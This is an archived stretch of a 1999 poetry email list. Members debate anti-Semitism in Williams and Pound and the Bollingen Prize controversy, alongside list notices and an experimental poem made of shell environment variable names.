Student discounts available. Tickets available at the door or by pre-registration. For more registration info. contact Aaron Kiely at this email, by phone at [redacted] or at PO Box 441517, Somerville, MA 02144

Thank You!

↑ Index

250. **Brian Stefans**
What to do with all this Real?
Mon 19 Jul 1999

I don't think this is a fair reading of what I wrote. Perhaps, if you'd like a new angle on this, you can imagine writing a story with your friend from the Poconos as the protagonist, and when quoting him in the story not use quotation marks. You, as most of us, would be very frightened to do this because you would wonder if a reader would think these were words reflecting your own opinions or personality. But nonetheless this is what a lot of modernists did, I guess because it was supposed to be an unmediated representation of objective reality, which in the scientific spirit of the day was a primary goal. Of course, if you don't think your friend from the Poconos is worth literary immortality you wouldn't write the story at all, but then again you wrote this post, so your friend, racist or not, was somehow useful.

Date: Thu, 15 Jul 1999 18:16:46 -0700
From: Mark Weiss <[redacted]>
Subject: Re: PS on Williams

When I was a little kid we used to vacation at a cheap resort in the Poconos, which were a lot more remote before the construction of I-80 than it is now. I became close friends with the owner's son who had a black German Shepherd names Nigger. I don't think he'd ever met a Black person, but I don't doubt for a minute that he and his family were racists. But maybe when he called his dog he was feigning a persona.

At 01:21 PM 7/15/99 -0400, you wrote:
>As a sort of postscipt to my other comments on Williams, I would note that
>the quotes Eliot Weinberger draws from his stories, while being quite

>powerfully derogatory, could be seen to consistently fall within the realm
>of "speaking through the other," i.e. echoings of the local tongue and
>prejudices, and also within my idea of the fetishized ethnicity. My sense
>is that Williams didn't belong to any local community in Rutherford in any
>very easy way -- he felt quite alienated, as we all know -- so a lot of
>what sounds like "plain speech" in Williams can often be seen as not his
>own plain speech, until perhaps the Asphodel poem where it seems all him.
>But that's because we know to whom he is speaking -- i.e. Flossy. But
when
>he writes "He was one of those Jews..." sounding like he's addressing
>someone, but who is this? (If one imagines that he thought his first or
>only readers for such stories would be his sophisticated New York literati
>friends, many of whom were Jewish, how do these lines resonate with them?)
>
>In any case, what would be interesting would be if someone could find the
>kind of invective that one finds in Pound and Cummings and others, or the
>kind of detached "objective" tone in Eliot's writing on Christian culture,
>in Williams -- i.e. something more discursive and outside the realm of
pure
>imagism, something with a sure sense of audience and purpose -- since such
>a thing would point to a more synthesized world-view in Williams that
>presently we can't see. I've never quite figured out whom Williams was
>addressing in Spring and All, for example -- much of which, as I'd written
>to a friend earlier, would sound like the most vicious "flame" on the
>internet -- and I think this vagueness about his audience contributes to
>the choppy, seemingly incomplete nature of his "career," i.e. the ups and
>downs of his work.
>
>Also, can I suggest Marianne Moore as a modernist not motivated by hate or
>exhibited anti-semitism? I'll probably find this wasn't the case.
>
>Brian
>
>

↑ Index

251. Thomas Bell
asylum
Mon 19 Jul 1999

I've been informed a piece I collaborated on (in?) with (put together with?)
three visual artists has been posted (published? at:

http://www.channel.org.uk/asylum

tom bell
--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
 LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

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252. Poetics List Administration
Book by Palmer/Bernstein? / Ron Persons
Mon 19 Jul 1999

This message came to the administrative account. Chris

--

From: "Ron Persons" <[redacted]>
Date: 7/16/99, 6:52 PM -0400

I remember browsing through a book that contained either conversations between Charles Bernstein and Michael Palmer, or was edited by them, or both. Anyone know of this book?

Please backchannel. thanks, RP

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253. Mark Weiss
Re: PS on Williams
Mon 19 Jul 1999

It's good to be reminded from time to time why I don't mind having been such a bad graduate student. I don't think I ever suggested that complex thinking about anything is ever out of order, nor that Williams was uniformly a bad man. I am suggesting that to understand is not necessarily to forgive. Perhaps especially if one is a member of the victimized group. Here, by way of illustration, is a story I heard from a friend not five minutes ago. His ex-wife, with whom he has a passably friendly relationship, had their two young children last night. He gets home late to an hysterical message on his machine: the kids had awakened in the middle of the night to find themselves alone. This morning he discovers that the x had gone out to a bar because she needed some adult company. It's a hard time for her--she just broke up with her guy, and her

father, to whom she was very close, just died of cancer. She's usually not that irresponsible. Easy to understand her situation as complexly as one likes, not so easy to forgive. And I did all that without reference to a single philosopher.

At 02:16 PM 7/16/99 -0400, you wrote:
>According to Mark Weiss:
>>
>> When I was a little kid we used to vacation at a cheap resort in the
>> Poconos, which were a lot more remote before the construction of I-80 than
>> it is now. I became close friends with the owner's son who had a black
>> German Shepherd names Nigger. I don't think he'd ever met a Black
person,
>> but I don't doubt for a minute that he and his family were racists. But
>> maybe when he called his dog he was feigning a persona.
>>
>
>Mark, I understand where this is coming from vis a vis the Williams
>discussion, but it also seems worthwhile to point out that you've framed
>the issue in a classic and, to me, ultimately limiting way. Essentially,
>you're replaying a critique levied by Lukacs against existentialism -
>specifically Kierkegaard and Heidegger. Lukacs says that their refusal to
>acknowledge the unity of the Self (eg, K's view of the individual as
>"incognito") was just bullshit:
>
>They "embraced this doctrine of the eternal incognito which implies that a
>man's external deeds are no guide to his motives. In this case
>[Heidegger's], the deeds obscured behind the mysterious incognito were,
>needless to say, these intellectuals' participation in Nazism...But if
>this impenetrable incognito were the true 'condition humaine,' might not -
>concealed within their incognito - Heidegger or Schmitt have been secret
>opponents of Hitler all the time, only supporting him in the world of
>appearances?"
>
>Now, what Lukacs says here really strikes a cord. I won't get into the
>whole issue of Heidegger and Nazism. What I will say is that Lukacs'
>logic - though I sympathize deeply with his dilemma - is flawed. It
>presupposes that the only critique of the Unity of the Self falls along
>the lines of this existential concept. Lukacs, it seems to me, comes out
>of the humanist aspect of Marx and Marxism: the self is ethical and whole:
>if not, than it is damaged and unethical (evil). In the world of
>continental philosophy of the 30's Heidegger and Lukacs may have seemed
>like the operative poles (though the Franfurt folks & I think

>particularly Benjamin offer an alternative) - but as regards Williams,
>there's John Dewey, there's Kenneth Burke, offering very important
>alternatives to a Lukacsian perspective on the self which stays well away
>from this issue of the Incognito. Dewey: "individuality itself is
>originally a potentiality and is realized only in interaction with
>surrounding conditions." This statement didn't *deter* Dewey from
>critiquing the unity of the self - it was in fact the *predicate* by which
>he understood the self as a multifarious, multimotivated construction; and
>through which he recognized that deciphering the motives behind
>individual actions (including speech acts) required the same sort of time
>and heightened attention and open-mindedness that an anthropologist (a
>good one) brings to the activities of whole communities. So, just to say,
>that when I ask for complex thinking on this WCW/anti-semitism it is from
>this latter, pragmatic perspective, though not without knowledge of
>Lukacsian exasperation.
>
>-m.
>
>

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254. **Mark Weiss**

Re: Pound and the Bollingen Prize

Mon 19 Jul 1999

The work is not the man, neither is the prize the work. The prize, as i think you are saying, is a political gesture apart from the work.

At 06:24 PM 7/16/99 GMT, you wrote:
>Mark,
>
>Pls see my comments below.
>
>>Someone suggested that those who had denied Pound the Nobel Prize had
>>failed to separate the work from the man.
>
>Yes, I suggested it. Actually, it was the Bollingen as someone else pointed
>out.
>
>They were in fact remembering
>>some of the more disreputable works.
>
>Hmm. By "disreputable" I assume you mean with anit-semitic or treasonist

>content. (?) I followed the controversy fairly closely at the time as I was
>embroiled in huge "discussions" about it with my Jewish boyfriend--who, BTW,
>was also a poet and claimed to be unable to even read either Pound or Eliot
>after their anti-semitism came to light. Their work had been absolutely and
>irrevocably contaminated for him. Of course, these awards all have a
>political component anyway, so it isn't saying a whole lot that this was a
>"political" decision.
>
>>When Kurt Waldheim, after his UN career, was discovered to have
committed
>>war crimes there were some who objected to his being elected president of
>>Austria--his great post-war service were apparently enough to excuse his
>>earlier behavior as far as the Austrian electorate was concerned, but the
>>critics felt that some things are unforgiveable and that to honor the
>>perpetrator is to diminish the apparent seriousness of what had been done.
>
>Yes, and I have to agree with those critics re: Waldheim. I mean, being
>elected president is quite a bit different from being given a prize for your
>writing. And, committing war crimes is also quite a bit different from
>making anti-semitic remarks--or even making those boradcasts.
>
>>Pound wasn't a war criminal, merely a fellow-traveller of war criminals,
>>but that's bad enough.
>
>What about the pro-Mussolini broadcasts? Not a "war criminal" per se, but
>pretty actively treasonous. He would certainly have gone to jail if he
>weren't pronounced insane.
>
>To deny him the prize was not so much a judgment on
>>the Cantos as a decision not to be seen as forgiving the unforgiveable in
>>the context of a Europe where passions like those who had expressed during
>>the war were and are very much alive.
>
>
>Exactly the point I'm making. It was **not** a judgement on the work at
>all--but, ideally, should have been (in my opinion). I think the work is,
>must be, separate from the man (or woman). This is not to say that I find
>the behavior trivial. When Eliza Kazan stood and received a "lifetime
>acheivement" award at the Oscars this spring, I found it distressing--most
>of the people he had harmed were still alive, or at least their families
>were. It seemed incredibly disrespectful to them and I was happy to see some
>people remain seated, not applauding (e.g. Nick Nolte). But when the

>retrospective came on--Streetcar Named Desire, On the Waterfront, etc. all
>those incredible films--I was completely moved by the acheivement. I again
>came round to the belief that the work is the reality for an artist/writer,
>not the life.
>
>Of course, a lot of the issue is how these prizes are awarded, publicized,
>etc., and made to **seem** to the public, to be awarded to the person, not
>the work. If Kazan didn't show up, it would have been easier to take. And,
>as you rightly point out, an award to Pound would certainly have **seemed**
>to be condoning his actions as a man--enough reason to not give it to him.
>
>Best,
>Joan
>
>
>
>
>_____
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>
>

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255. **Mark Weiss**

Re: What to do with all this Real?

Mon 19 Jul 1999

I'm not sure I understand what you're saying. Williams is more than any modern poet the source of my own development as a poet, so I guess I think he's useful. And the boy in the story was my best friend. I don't think either of them were being ironic in expressing their less savory attitudes.

At 01:34 PM 7/19/99 -0400, you wrote:
>I don't think this is a fair reading of what I wrote. Perhaps, if you'd
>like a new angle on this, you can imagine writing a story with your friend
>from the Poconos as the protagonist, and when quoting him in the story not
>use quotation marks. You, as most of us, would be very frightened to do
>this because you would wonder if a reader would think these were words
>reflecting your own opinions or personality. But nonetheless this is what
>a lot of modernists did, I guess because it was supposed to be an
>unmediated representation of objective reality, which in the scientific
>spirit of the day was a primary goal. Of course, if you don't think your
>friend from the Poconos is worth literary immortality you wouldn't write

>the story at all, but then again you wrote this post, so your friend,
>racist or not, was somehow useful.
>
>
>Date: Thu, 15 Jul 1999 18:16:46 -0700
>From: Mark Weiss <[redacted]>
>Subject: Re: PS on Williams
>
>When I was a little kid we used to vacation at a cheap resort in the
>Poconos, which were a lot more remote before the construction of I-80 than
>it is now. I became close friends with the owner's son who had a black
>German Shepherd names Nigger. I don't think he'd ever met a Black person,
>but I don't doubt for a minute that he and his family were racists. But
>maybe when he called his dog he was feigning a persona.
>
>At 01:21 PM 7/15/99 -0400, you wrote:
>>As a sort of postscipt to my other comments on Williams, I would note that
>>the quotes Eliot Weinberger draws from his stories, while being quite
>>powerfully derogatory, could be seen to consistently fall within the realm
>>of "speaking through the other," i.e. echoings of the local tongue and
>>prejudices, and also within my idea of the fetishized ethnicity. My sense
>>is that Williams didn't belong to any local community in Rutherford in any
>>very easy way -- he felt quite alienated, as we all know -- so a lot of
>>what sounds like "plain speech" in Williams can often be seen as not his
>>own plain speech, until perhaps the Asphodel poem where it seems all him.
>>But that's because we know to whom he is speaking -- i.e. Flossy. But
>when
>>he writes "He was one of those Jews..." sounding like he's addressing
>>someone, but who is this? (If one imagines that he thought his first or
>>only readers for such stories would be his sophisticated New York literati
>>friends, many of whom were Jewish, how do these lines resonate with
them?)
>>
>>In any case, what would be interesting would be if someone could find the
>>kind of invective that one finds in Pound and Cummings and others, or the
>>kind of detached "objective" tone in Eliot's writing on Christian culture,
>>in Williams -- i.e. something more discursive and outside the realm of
>pure
>>imagism, something with a sure sense of audience and purpose -- since such
>>a thing would point to a more synthesized world-view in Williams that
>>presently we can't see. I've never quite figured out whom Williams was
>>addressing in Spring and All, for example -- much of which, as I'd written

>>to a friend earlier, would sound like the most vicious "flame" on the
>>internet -- and I think this vagueness about his audience contributes to
>>the choppy, seemingly incomplete nature of his "career," i.e. the ups and
>>downs of his work.
>>
>>Also, can I suggest Marianne Moore as a modernist not motivated by hate or
>>exhibited anti-semitism? I'll probably find this wasn't the case.
>>
>>Brian
>>
>>
>
>

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256. **raea100900**
address request
Mon 19 Jul 1999

I wonder if anyone in List Land could give me an email address for Ed Foster of Talisman?

Rae Armantrout

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257. **Michael W Bibby**
Pound/Bollingen
Mon 19 Jul 1999

I've been following the thread on Williams/Pound/anti-semitism with great interest. My current research focuses on African-American poetry from about 1945-1955, and many points being made on the list touch on issues of concern to me. I was glad to see someone (Peter Neufeld) finally correct the earlier error--Pound did indeed receive the Bollingen and it ignited a substantial controversy. John Tranter's quotations from McGuire's book were especially interesting. I spent some time last summer looking through the Cleanth Brooks papers at the Beinecke--letters from Allen Tate to Brooks show that there was deep contempt for Hillyer at Kenyon and among the New Crit poets--and Tate encouraged Brooks to write a letter, which he did, attacking the SRL for even printing Hillyer's editorials.

But what I'd like to ask the list members--and I've already asked H-AMSTDY and AFAM-L about this, with no luck--is if anyone knows of any response to the Pound debate among African American writers of the period. I'm familiar with

the Pound/Hughes connection (and I've studied the letters from Ez to Hughes at Beinecke)--but does anyone know what other writers were saying? Did Wright, Ellison, Dodson, Hayden, Brooks, etc. comment on this? I couldn't find anything on it in major black periodicals of the day (*Negro Digest*, *Crisis*, *Phylon*). But am I overlooking something?

Thanks!

Michael Bibby
Department of English
Shippensburg University
1871 Old Main Drive
Shippensburg, PA 17257
[redacted]

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258. John Tranter

Gabriela Mistral, translated by Langston Hughes. 1957

Mon 19 Jul 1999

I'd like Jacket magazine to publish a discussion of this book (below):
is there anyone out there who would like to put together a couple of
thousand words on the topic? Jacket is free, and thus (unfortunately)
unable to pay for contributions.
==========
Mistral, Gabriela. (Pseud. of Godoy Alcayaga, Lucila 1889- 1957).
Selected Poems of Gabriela Mistral, translated
and introduced by Langston Hughes. 1957. Bloomington. Indiana University
Press, Poetry Series.
There may have been printings also in 1962 and 1972.
==========

best,
John Tranter

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of
glittering literature, free, at
http://www.alm.aust.com/~tranterj/index.html

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259. **Hilton Manfred Obenzinger**
Re: Manifest Destiny
Tue 20 Jul 1999

There was a movement to revive Hebrew. I am not sure about Washington, but others, such as Ezra Stiles at Yale, did consider Hebrew absolutely essential as the divine language (Hence the Hebrew in the Yale coat of arms). The Book of Revelations figured into all millennialist calculations -- and even most deists were millennialists. The typological identification of America as the New Israel goes back to the original English settlers and the notion traveled through all sorts of religious and secular paths, along with the doctrine of Jewish restoration (advocated by Tom Paine, for example). None of this is Jewish -- rather, the protestant adaptation of covenant identity to settler-colonial purposes, as was done, in different ways, by Scotts-Irish in Ulster, Afrikaners in South Africa, and (later and in not characteristically rabbinically Jewish ways) by Zionists in Israel. Even, in some ways, by Americoliberians in Liberia. All of this is complex and thorny. I write about it in more depth in my forthcoming book "American Palestine: Melville, Twain, and The Holy Land Mania" coming out in November. Indeed, American is a creation of the rum trade -- but also considerably more than that. The covenantal mentality is still very much with us -- as "American Dream" and in other more explicitly religious ways, with both good as well as a lot of bad results. William Carlos Williams is no exception -- which is why "pure products" are so crazy.

Hilton Obenzinger

On Fri, 16 Jul 1999, Mark Weiss wrote:

> *I hesitate to respond to this. Are you saying that everything is the same and no differentiation is possible?*
>
> *Your interpretation of the American Revolution seems rather simplistic, but let that go. I'd love to see some documentation of Washington's thinking about making Hebrew the national language--it's new to me. And as to his interest in the Book of Revelations--I thought he was a deist.*
>
> *At 06:56 AM 7/16/99 PDT, you wrote:*
> *The "field" of racism re: Williams, Pound & Eliot extends beyond the bounds of a specific anti-semitism; ancient cultic law is not based on tolerance. Not to be overly "Hebraic" about it, the fact remains that the murder of former Israeli Prime Minister Rabin had, in some interpretations, rabbinical sanction. Semitic law in general gives sanction for murder, if evidence exists - and suspicion is often thought sufficient evidence - that a person presents a threat to the security of the clan at large. We still operate under a similar system, as a glance at who's who on any Death Row will tell you. Enemies of the State. America wasn't founded to protect the interests of any sense of the common man or to the common good; it was founded to*

protect the interests of a wealthy group of molasses bootleggers operating out of the Carribbean. Interesting in this light to recall that Washington initially considered making Hebrew the national language, probably having to do with aligning America with the moral authority represented by the rise of "Israel" at the end of the world in the Book of Revelations. Nineteenth century Manifest Destiny is a pure product of nothing but. In fact, the genetic/hereditary science of Eugenics was a 19th century American invention, and the Sterilization Laws passed in 1907 by the State of Indiana "to prevent procreation of confirmed criminals, idiots, imbeciles and rapists" was the prototype for Nazi-funded scientific missions to find "reason" for persecution of Jews. WCW, Pound, Eliot & Co. - "us all" too - are the inheritors of this tradition. Given this, the accusation that these guys were "anti-semitic" seems trite; the more essential question lies in the extent to which they - or any of us - gave (or in our case, continue to give) sanction to state-infected suppositions toward "liberation." Calling WCW anti-semitic merely sweetens the lie that we in fact DO have the moral authority to "call him down," but what phantom will rise from the process of so doing? Or more specifically, though maybe slightly off the mark, what are the relations between poetic form, natural proportion and human law, for example, that permit the existence of a sort of "screen" or "grate" through which we may have intimations of the smell of death, but no actual access to the causatively related "killing floor"? When the feeling of "threat" is multiplied into an analogical "house of mirrors" (and perhaps of cards), how do we identify it, ie., how do we get into the basement over which the killing floor is laid?
S E

From: KENT JOHNSON <[redacted]>
Reply-To: UB Poetics discussion group <[redacted]>
To: [redacted]
Subject: Purity
Date: Wed, 14 Jul 1999 11:08:33 -0500

May I indulge in some self-defense, please?

Stephen Vincent wrote:

Kent Johnson's righteousness - or at least that tone - about nailing WCW to an anti-Semitic cross seems to me to indulge an easy dichotomy. I am not sure if Johnson's trying to throw the Doctor out with the bath water, but I always get uncomfortable when anyone (myself included) goes to the Holy ground with an implicit claim of purity - what ever might be the issue. I would go as far to say that my opposition to anti-Semitic, anti-Palestinian, racist,

> *homophobic or any other abusive behavior involves a personal acknowledgment and desire to exorcise some part of my person that has inherited or learned those behaviors*
>
> *Stephen, if I point out, as I did, that there is textual evidence of a strong anti-Semitic strain in Williams, why is this "self-righteousness"? I responded to what I felt was a significant blind spot in Billy Little's typically-provocative post, and did so in a reasonable way, I thought. Then there were four indignant responses, all of which strongly denied the applicability of the term, a couple of these calling my post "ridiculous." So I responded, pointing people to some specific evidence, and now am accused by you of being self-righteous, by implication blind to my own likely racism, and of trying to throw WCW "out with the bathwater."*
>
> *I _love_ Williams. If he was more of a prick, more humanly sinful than the canon-makers have let on, that does nothing to diminish the greatness of his poetry. And in some ways the darkness makes the greatness all the more fascinating! The record is the record (which, yes, is open to differing interpretations), and I think it's best to talk about it without the innuendo you interject above.*
> *Kent*
>
> ---
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260. **Joan Houlihan**

Re: Ezra Pound and the Bollingen Prize for Literature, 1949.

Tue 20 Jul 1999

Fascinating. Thanks for sharing this. And to think I was debating about this 30 years ago, and even *that* was 20 years after the fact. Turns out I mis-remembered what actually happened in the first place! Hey, he got it after all. :-)

> *From: John Tranter <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Ezra Pound and the Bollingen Prize for Literature, 1949.*
> *Date: Sat, 17 Jul 1999 18:10:23 +1000*
>
> *I thought the List might want to look through this: an excerpt from William*

McGuire, Poetry's Catbird Seat (the consultantship in poetry in the English language at the Library of Congress, 1937-1987), Library of Congress, Washington, 1988, 512 pages, ISBN 0-8444-0586-8. This (very selective) excerpt is 1,500 words long .

==========

In 1948 The Bollingen Foundation's trustees voted an allocation of $10,000 for ten years of literary awards. [. . .] (The Foundation's name had been Mary Mellon's oblique way of honoring C. G. Jung, who had a country retreat near a Swiss village called Bollingen.) [. . .]

On March 4, 1948, a Library of Congress press release announced the Bollingen Prize in Poetry. Carrying a purse of $1,000, the prize would be awarded each February for the best book of verse by an American author published during the preceding calendar year. The jury of selection would be composed of the Fellows in American Letters of the Library of Congress. [. . .]

A final ballot was cast by mail in February (as the 1948 prize would lapse on February 28): ten first places for Pound [for The Pisan Cantos], two for [W.C.] Williams, one abstention (Paul Green's)-and the vote of Theodore Spencer, who had died a few weeks before, was taken to stand as a first place for Pound, as it was he who had placed the Pisan Cantos in nomination back in November. [. . .]

The story was broken on Saturday night, the nineteenth, by Charles Collingwood in his radio news broadcast. The Sunday New York Times headline was characteristic of the press reaction: "Pound, in Mental Clinic, Wins Prize for Poetry Penned in Treason Cell." As Evans (Luther H.Evans, the Librarian of Congress) later observed, "The award possessed that bizarre quality that makes news. Along with excited reports, indignant editorials appeared in the press." An editorial in the New York Herald Tribune, however, stated: "This emphasis on an objective criterion of beauty and excellence, akin to belief in an objective truth, is fundamental to a free and rational society. In maintaining it the judges acted in the only way that is open to men who are sensitive to a later verdict of history." In the same paper, Louis Untermeyer called the Pisan Cantos "a ragbag and tail end of Pound at his worst. It shows a very disordered mind, one affected by the seeds of Fascism," and Robert Hillyer thought the award "regrettable" for aesthetic rather than political reasons. "I never saw anything to admire, not one line, in Pound." [. . .] Robert Frost, in a memorandum to his secretary Kay Morrison soon after the award was announced, called it "an unendurable outrage" and Pound "possibly crazy but more likely criminal." [. . .]

Huntington Cairns, in his journal, described one of his visits to St. Elizabeths. "I saw Pound for an hour on Saturday, Feb. 19th. The director

of the hospital had informed him that he had won the Bollingen Prize, and he was obviously excited by the news. He had prepared a statement for the Press: 'No comment from the Bug House,' but he had decided not to give it out. [. . .] Walter Winchell quoted Pound's comment on the same occasion: "Democracy is more stupid than ever I said it was." Tate, incensed, asked Pound's wife to check on that. "Total lie" was Pound's answer. He called Winchell a "Jewish bedbug." [. . .]

For a time, controversy over the prize subsided. It was suddenly revived when the Saturday Review of Literature, in its issues of June 11 and 18, published two long articles by Robert Hillyer - "Treason's Strange Fruit" and "Poetry's New Priesthood." Hillyer, earlier a professor at Harvard (his students Howard Nemerov and Robert Fitzgerald remembered him as a gifted teacher), won the Pulitzer Prize for poetry in 1934, and in 1939 was president of the Poetry Society of America. [. . .] Hillyer was regarded by many of his literary peers as an isolated figure who had carried on a long critical campaign against Eliot and Auden, whom he regarded as his poetic rivals. During the late spring, Evans and Adams had had letters from Hillyer and from Harrison Smith, the editor of the Review, putting questions about the award. Hillyer's were marked by a threatening tone, with insulting references to conspiracy and negligence. The F.B.1. had been alerted, he said; and an article would be published. [. . .]

In his two articles, Hillyer declared that the Cantos are "the vehicle of contempt for America, [of] Fascism, anti-Semitism, and . . . ruthless mockery of our Christian war dead." He implied that the award was part of a conspiracy against American ways of life and literature, and that the conspirators included T. S. Eliot, Paul Mellon, Jung, the Bollingen Foundation, Pantheon Books, most of the Fellows in American Letters, admirers of Eliot and Pound, the New Criticism, and various literary quarterlies. Their common aim, he argued, was to seize power in the literary world and undertake "the mystical and cultural preparation for a new authoritarianism. . . . In a spiritual morass where language, ethics, literature, and personal courage melt into something obscure and formless, a guided impulse has stirred the amorphous haze into something approaching form, something shaped out of stagnant art by groping Fascism." [. . .]

On June 24, Congressman Jacob K. Javits, of the 21 st District, New York, wrote Evans: "After having read the editorial 'Treason's Strange Fruit' . . . I am particularly concerned about the awarding of the Bollingen-Library of Congress Award of $1,000 to Ezra Pound. I would very much appreciate your advising me how the Fellows who make this award were chosen, who they are and the basis of their selection." [. . .] On July 19, another congressman, James T. Patterson, of Connecticut, addressed the House regarding the award ("Should we encourage the activities in literature of moral lepers?") and inserted into the Congressional Record the Hillyer articles, Evans's letter, and the Saturday Review's reply. On the twenty-first, Javits called for an investigation ("Must we not be equally

diligent to investigate the infiltration of Fascist ideas especially in so august an institution as the Library of Congress?"), and the matter came before the Congressional Joint Committee on the Library of Congress, whose chairman was Senator Theodore F. Green, of Rhode Island. What transpired was not an investigation but a resolution, on August 19, to the effect that the Library should abstain from giving prizes or making awards. ("I think it is a bad policy for the government to give prizes and awards, especially in matters of taste," the Senator told the press.) Evans immediately announced compliance. The awards that the Library discontinued, besides the Bollingen Prize, were the Elizabeth Sprague Coolidge Medal for "eminent services to chamber music" and three prizes endowed by Lessing Rosenwald in connection with an annual national exhibition of prints.

In that same feverish summer of 1949, William Carlos Williams was also the object of a small cloud of protest, raised by his review of the Pisan Cantos in the spring issue of Imagi, a very small poetry quarterly published in Baltimore. During July, Evans received a few letters, all alike in content, protesting Williams's appointment as Consultant in Poetry - evidently the result of confusion with his appointment as a Fellow earlier in the year. Some of the letters came from the editors of other small verse magazines (in Arkansas, California, etc.), saying for example, "That [Williams] should defend such a work places him in the same category with Pound, that of utter contempt and treachery to all the ideals for which America stands. . . ." [. . .]

After the prize was barred (and $9,000 returned to the donor) the Bollingen Foundation received a number of requests from universities to carry it on. In early 1950, the Yale University Library was granted the funds to continue making the awards. The winner of the 1949 Prize, selected by a committee whose members - Adams, Aiken, Shapiro, Chapin, Warren - had all been Fellows in American Letters]at the Library of Congress], was Wallace Stevens. [. . .]

In 1963 the amount of the award was increased to $5,000, and thereafter it was given every other year. After 1968, when the Bollingen Foundation ended its programs (except for the Bollingen Series, which it gave to Princeton University Press to carry through its publication), the Andrew W Mellon Foundation took over, and in 1973 made an outright endowment of $100,000 to enable the Yale Library to continue awarding the prize in perpetuity. By now [1988] more than thirty poets, including many of the Consultants, have received the Bollingen Prize. They keep coming on.

Cowley to Tate, October 21, 1949: "I went to a literary tea for Nehru. Present were the editors of the Saturday Review... Harrison Smith saw me and advanced beaming. 'I was going to write and congratulate you,' he said, 'on the article about Hillyer. I think you had the right dope. Of course, we just printed the Hillyer articles and the editorial to start a controversy. It was a great success. We thought it would give us three

> *exciting issues but it went on for six.'*
>
> *==========*
> *from*
> *John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia*
> *tel ([redacted] fax ([redacted]*
> *Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html*
> *Homepage: five megabytes of glittering literature, free, at*
> *http://www.alm.aust.com/~tranterj/index.html*

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261. **KENT JOHNSON**

Complexity and anti-Semitism

Tue 20 Jul 1999

Michael:

I'm not sure where you get the notion that Marx ever had such a reductive, binary view of the Self's possibilities. Your quote from Dewey (who was very much his own person, but no enemy, really, of materialism) is actually a nice encapsulation of Marx's general outlook on the human condition, an outlook elaborately laid down early on in _The German Ideology_ --and foreshadowed for the first time in a substantial way (how's this for ironic complexity?) in his "On the Jewish Question," an anti-Semitic essay on the "problem" of Judaism: For Marx, famously, "Consciousness does not determine life, but life determines consciousness." From Marx's standpoint, there are no metaphysical essences or unities involved with the human subject... Correct me, please, if I'm misreading your intent.

In any case, there is no desire on anyone's part, so far as I can see, to avoid thinking as "complexly" as you on this Williams issue (look at all the complex and fascinating posts on this thread!). It may be old-fashioned and simplistic, but some of us do honestly feel that there is sometimes certain evidence that resists deconstruction. And the evidence in this case shows that Williams was afflicted with the virus of anti-Semitism (a term you've claimed "says nothing") and coughing rather loudly. Honestly, Michael, it seems to me that you have launched into a "complex" theorization of a problem without first coming to full terms with the problem's existence. And to appeal to the "multifarious and multimotivated" nature of the individual subject (the full, complex, and contradictory flowering of which, by the way, was Marx's vision of the free human being under communism) doesn't really shed that much light on our

topic: Pat Robertson is multifarious and multimotivated too, and Dewey would obviously not desire the good name of his pragmatism deployed to obfuscate a particularly pernicious manifestation of that man's multifariousness! Nor would he want it deployed, I'd bet, to water down a particularly noxious manifestation in a master poet like Williams.

Kent

Michael Magee said:

> Lukacs, it seems to me, comes out
>of the humanist aspect of Marx and Marxism: the self is ethical and
>whole: if not, than it is damaged and unethical (evil). In the
>world of continental philosophy of the 30's Heidegger and Lukacs may
>have seemed like the operative poles (though the Franfurt folks & I
>think particularly Benjamin offer an alternative) - but as regards
>Williams, there's John Dewey, there's Kenneth Burke, offering very
>important alternatives to a Lukacsian perspective on the self which
>stays well away from this issue of the Incognito. Dewey:
">individuality itself is originally a potentiality and is realized
>only in interaction with surrounding conditions." This statement
>didn't *deter* Dewey from critiquing the unity of the self - it was
>in fact the *predicate* by which he understood the self as a
>multifarious, multimotivated construction; and through which he
>recognized that deciphering the motives behind individual actions
>(including speech acts) required the same sort of time and
>heightened attention and open-mindedness that an anthropologist (a
>good one) brings to the activities of whole communities. So, just
>to say, that when I ask for complex thinking on this
>WCW/anti-semitism it is from this latter, pragmatic perspective,
>though not without knowledge of Lukacsian exasperation.

> *-m.*

↑ Index

262. **Tony Green**
Re: cattle
Tue 20 Jul 1999

When Peter Balestieri advises that it's a bonus to hear Linda Darnell sing: In gambling halls laying, 10,000 cattle straying. It reminds me to draw attention to the song (recorded by Peggy Lee with Benny Goodman's band) in which she sings: I am as gay as a Disney cow. Anyone remember that one?

Tony Green

↑ Index

263. KENT JOHNSON
Mused and Beatriced
Tue 20 Jul 1999

I only know the exchange between Gary Sullivan and Nada Gordon through the excerpts printed at East Village Poetry Web. But I've seen enough to wholeheartedly second Chris Stroffolino's very fine appreciation. The work is totally new and idiosyncratic in the greatest of ways. In Sullivan's case (I don't have sound, so can't hear the Gordon videos) it's a bit, as I take it, like Dante on Dexedrine.

Or something hard to explain like that. Truly something.

Kent

↑ Index

264. Alan Sondheim
SONNET ENVZ:
Tue 20 Jul 1999

@@

SONNET ENVZ:

EDITOR=(EDITOR) EXINIT=(EXINIT) HISTSIZE=(HISTSIZE) HOME=(HOME) KSH_LICENSE=(KSH_LICENSE) MAIL=(MAIL) MAILCHECK=(MAILCHECK) MANPATH=(MANPATH) PATH=(PATH) SHELL=(SHELL) TERM=(TERM) TMOUT=(TMOUT) USER=(USER) _=(_)

mr editor manpath oh path path pant pant pant
mr editor oh pant pant shell and trout pant pant pant pant pant
trout flies by the shell, male check and man path pant path path
oh male is a user his path oh pant pant checked
what we got here is a user well well well
well well well well well what we got here ?
what we got here is a user well well well well well
does the user have a license well well well well well does he ?
mr editor manpant oh pant pant pant pant
he pant pant pant he don't have a license well well well well well

---

↑ Index

265. George Bowering
Re: Okay Corrall
Tue 20 Jul 1999

Dang! I saw "My Darling Clementine" two or three times when I was a sprat, but havent seen it lately. I think I will go rent it. Did it have titles that were signposts with the names etc burned into the wood?

George Bowering.

,

fax: [redacted]

↑ Index

266. Ramez Qureshi
Re: PS on Williams
Tue 20 Jul 1999

